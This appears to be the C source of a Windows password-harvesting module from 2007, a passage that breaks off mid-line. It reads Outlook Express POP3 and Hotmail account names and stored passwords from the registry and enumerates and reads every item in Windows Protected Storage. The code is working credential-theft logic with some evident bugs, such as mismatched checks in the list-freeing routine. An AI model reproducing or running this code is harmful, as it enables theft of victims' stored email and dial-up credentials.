/********************************************************************
created: 2007/04/16
created: 16:4:2007 17:02
filename: d:\MyDocuments\Special\Code\light\src\light_test\light_pwd.c
file path: d:\MyDocuments\Special\Code\light\src\light_test
file base: light_pwd
file ext: c
author: Aman
purpose: To retrieve various passwords, including OE, diaup, etc..
*********************************************************************/
#undef UNICODE
#undef _UNICODE
#define _CRT_SECURE_NO_DEPRECATE
#define WINVER 0x500
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <pstore.h>
#include <ras.h>
#include <raserror.h>
#include <Ntsecapi.h>
#include <Userenv.h>
#include <Sddl.h>
#include "light_pwd.h"
#pragma comment(lib,"Rasapi32.lib")
#pragma comment(lib,"advapi32.lib")
#pragma comment(lib,"UserEnv.lib")
PPASSWORD_LIST
AddPwdList(
PPASSWORD_LIST ListHead,
PASS_TYPE Type,
PSTR ResName,
PSTR UserName,
PSTR Password
)
{
PPASSWORD_LIST Current;
Current = (PPASSWORD_LIST)HeapAlloc(GetProcessHeap(), 0, sizeof(PASSWORD_LIST));
if (Current == NULL)
{
//error, so what?
return NULL;
}
Current->PassType = Type;
if (ResName == NULL)
{
Current->ResName = NULL;
}
else
{
Current->ResName = (PSTR)HeapAlloc(GetProcessHeap(), 0, strlen(ResName)+1);
if (Current->ResName == NULL)
{
//error, so what?
return NULL;
}
strcpy(Current->ResName, ResName);
}
if (UserName == NULL)
{
Current->UserName = NULL;
}
else
{
Current->UserName = (PSTR)HeapAlloc(GetProcessHeap(), 0, strlen(UserName)+1);
if (Current->UserName == NULL)
{
//error, so what?
return NULL;
}
strcpy(Current->UserName, UserName);
}
if (Password == NULL)
{
Current->Password = NULL;
}
else
{
Current->Password = (PSTR)HeapAlloc(GetProcessHeap(), 0, strlen(Password)+1);
if (Current->Password == NULL)
{
//error, so what?
return NULL;
}
strcpy(Current->Password, Password);
}
Current->next = NULL;
if (ListHead == NULL)
{
return Current;
}
Current->next = ListHead;
ListHead = Current;
return ListHead;
}
VOID
FreePwdList(
PPASSWORD_LIST ListHead
)
{
PPASSWORD_LIST Current, Next;
for (Current = ListHead; Current != NULL; Current=Next)
{
Next = Current->next;
if (Current->ResName)
{
HeapFree(GetProcessHeap(), 0, Current->ResName);
}
if (Current->ResName)
{
HeapFree(GetProcessHeap(), 0, Current->UserName);
}
if (Current->ResName)
{
HeapFree(GetProcessHeap(), 0, Current->Password);
}
HeapFree(GetProcessHeap(), 0, Current);
}
}
typedef struct TOOUTDATA {
char POPuser[100];
char POPpass[100];
char POPserver[100];
} OOUTDATA;
VOID
EnumOutlookAccounts(
OOUTDATA OutlookData[],
int *Index
)
{
int oIndex = 0;
ZeroMemory(OutlookData,sizeof(OutlookData));
HKEY hkeyresult ,hkeyresult1;
long l,i;
char name[200],skey[200];
DWORD dw2;
FILETIME f;
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, &hkeyresult1 );
if(ERROR_SUCCESS != lResult)
return ;
i=0;l=0;
BYTE Data[150];
BYTE Data1[150];
DWORD size;
int j;
j=0;
DWORD type=REG_BINARY;
while(l!=ERROR_NO_MORE_ITEMS){
dw2=200;
l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f);
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
lstrcat(skey,"\\");
lstrcat(skey,name);
RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult );
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
lstrcpy(OutlookData[oIndex].POPserver,"Hotmail");
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS){
int totnopass=0;
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1[i]==' ')||(Data1[i]=='-')){
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
ZeroMemory(Data1,sizeof(Data));
oIndex++;
}
else if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Server" , 0, &type, Data, &size ) ;
lstrcpy(OutlookData[oIndex].POPserver,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS){
int totnopass=0;
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1[i]==' ')||(Data1[i]=='-')){
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
ZeroMemory(Data1,sizeof(Data1));
oIndex++;
}
j++;i++;
}
*Index = oIndex;
}
BOOL
EnumPStorage(
PPASSWORD_LIST *pwdlist
)
{
PPASSWORD_LIST ListHead = NULL;
/* DWORD //cbNeeded = 0;*/
OOUTDATA OutlookData[50];
int oIndex=0;
typedef HRESULT (WINAPI *tPStoreCreateInstance)(IPStore **, DWORD, DWORD, DWORD);
HMODULE hpsDLL;
IPStore *PStore;
HRESULT hRes ;
tPStoreCreateInstance pPStoreCreateInstance;
IEnumPStoreTypes *EnumPStoreTypes;
GUID TypeGUID;
char szItemName[512];
char szItemData[512];
char szResName[1512];
char szResData[512];
char szItemGUID[50];
GUID subTypeGUID;
EnumOutlookAccounts(OutlookData, &oIndex);
hpsDLL = LoadLibrary("pstorec.dll");
if (hpsDLL == NULL)
{
return FALSE;
}
pPStoreCreateInstance = (tPStoreCreateInstance)GetProcAddress(hpsDLL, "PStoreCreateInstance");
if (pPStoreCreateInstance == NULL)
{
return FALSE;
}
hRes= pPStoreCreateInstance(&PStore, 0, 0, 0);
if (hRes != S_OK)
{
FreeLibrary(hpsDLL);
return FALSE;
}
hRes = (PStore->EnumTypes)(0, 0, &EnumPStoreTypes);
if (hRes != PST_E_OK)
{
FreeLibrary(hpsDLL);
return FALSE;
}
while(EnumPStoreTypes->Next(1,&TypeGUID,NULL) == S_OK)
{
IEnumPStoreTypes *EnumSubTypes;
wsprintf(szItemGUID,"%x",TypeGUID);
hRes = (PStore->EnumSubtypes)(0, &TypeGUID, 0, &EnumSubTypes);
if (hRes != PST_E_OK)
{
break;
}
while(EnumSubTypes->Next(1,&subTypeGUID,NULL) == S_OK)
{
IEnumPStoreItems *spEnumItems;
LPWSTR itemName;
hRes = PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems);
if (hRes != PST_E_OK)
{
break;
}
while(spEnumItems->Next(1,&itemName,NULL) == S_OK)
{
char chekingdata[200];
unsigned long psDataLen = 0;
unsigned char *psData = NULL;
PST_PROMPTINFO *pstiinfo = NULL;
wsprintf(szItemName,"%ws",itemName);
hRes = PStore->ReadItem(0,&TypeGUID,&subTypeGUID,itemName,&psDataLen,&psData,pstiinfo,0);
if (hRes != PST_E_OK)
{
break;
}
if (lstrlen((char *)psData)<(psDataLen-1)) {
int i=0;
for (int m=0;m<psDataLen;m+=2) {
if (psData[m]==0)
szItemData[i]=',';
else
szItemData[i]=psData[m];
i++;
}
szItemData[i-1]=0;
} else {
wsprintf(szItemData,"%s",psData);
}
lstrcpy(szResName,"");
lstrcpy(szResData,"");
//220d5cc1 Outlooks
if (lstrcmp(szItemGUID,"220d5cc1")==0) {
BOOL bDeletedOEAccount=TRUE;
int i;
for (i=0;i<oIndex;i++) {
if (lstrcmp(OutlookDat